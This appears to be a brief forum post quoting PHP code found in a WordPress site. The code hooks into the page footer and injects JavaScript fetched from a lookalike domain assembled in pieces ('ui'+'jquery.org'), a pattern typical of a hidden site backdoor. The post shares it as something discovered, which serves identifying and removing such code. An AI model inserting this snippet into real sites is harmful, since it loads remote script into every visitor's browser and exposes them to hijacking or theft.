Actually, this is the exact code I found…
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'https://';
echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js')));
}
add_action('wp_footer', 'wp_func_jquery');
}